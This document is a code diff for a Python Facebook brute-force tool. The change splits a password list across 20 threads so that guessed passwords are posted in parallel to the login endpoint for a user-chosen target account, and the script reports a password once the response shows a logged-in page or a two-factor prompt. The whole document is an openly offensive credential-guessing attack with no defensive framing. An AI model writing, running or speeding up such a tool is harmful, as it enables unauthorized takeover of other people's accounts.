Multithreading Implementation in Facebook Brute Force Tool

fb.py

@@ -1,11 +1,13 @@
+
 import os.path
 import requests
 from bs4 import BeautifulSoup
 import sys
+from threading import Thread, Lock
+import time
 
 if sys.version_info[0] != 3:
-    print('''\t--------------------------------------\n\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3 
-    fb.py\n\t--------------------------------------''')
+    print('\t--------------------------------------\n\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3 fb.py\n\t--------------------------------------')
     sys.exit()
 
 PASSWORD_FILE = "passwords.txt"
@@ -17,7 +19,6 @@
 PAYLOAD = {}
 COOKIES = {}
 
-
 def create_form():
     form = dict()
     cookies = {'fr': '0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'}
@@ -30,7 +31,6 @@ def create_form():
         form['lsd'] = data.input['value']
     return form, cookies
 
-
 def is_this_a_password(email, index, password):
     global PAYLOAD, COOKIES
     if index % 10 == 0:
@@ -39,24 +39,49 @@ def is_this_a_password(email, index, password):
     PAYLOAD['pass'] = password
     r = requests.post(POST_URL, data=PAYLOAD, cookies=COOKIES, headers=HEADERS)
     if 'Find Friends' in r.text or 'security code' in r.text or 'Two-factor authentication' in r.text or "Log Out" in r.text:
-        open('temp', 'w').write(str(r.content))
         print('\npassword found is: ', password)
         return True
     return False
 
+# Lock to ensure proper synchronization
+lock = Lock()
 
-if __name__ == "__main__":
+# Function to handle password attempts for a chunk of passwords
+def password_attempt_chunk(email, password_chunk):
+    global PAYLOAD, COOKIES
+    for index, password in enumerate(password_chunk):
+        password = password.strip()
+        if len(password) < MIN_PASSWORD_LENGTH:
+            continue
+        print("Trying password [", index, "]: ", password)
+        if is_this_a_password(email, index, password):
+            break
+
+# Main function with multithreading implementation
+def main():
     print('\n---------- Welcome To Facebook BruteForce ----------\n')
     if not os.path.isfile(PASSWORD_FILE):
         print("Password file is not exist: ", PASSWORD_FILE)
         sys.exit(0)
     password_data = open(PASSWORD_FILE, 'r').read().split("\n")
     print("Password file selected: ", PASSWORD_FILE)
     email = input('Enter Email/Username to target: ').strip()
-    for index, password in zip(range(password_data.__len__()), password_data):
-        password = password.strip()
-        if len(password) < MIN_PASSWORD_LENGTH:
-            continue
-        print("Trying password [", index, "]: ", password)
-        if is_this_a_password(email, index, password):
-            break
+
+    # Divide the passwords into chunks for multithreading
+    num_threads = 20 # Number of threads
+    chunk_size = len(password_data) // num_threads
+    threads = []
+    for i in range(num_threads):
+        start_index = i * chunk_size
+        end_index = (i + 1) * chunk_size if i != num_threads - 1 else len(password_data)
+        chunk = password_data[start_index:end_index]
+        thread = Thread(target=password_attempt_chunk, args=(email, chunk))
+        thread.start()
+        threads.append(thread)
+
+    # Wait for all threads to complete
+    for thread in threads:
+        thread.join()
+
+if __name__ == "__main__":
+    main()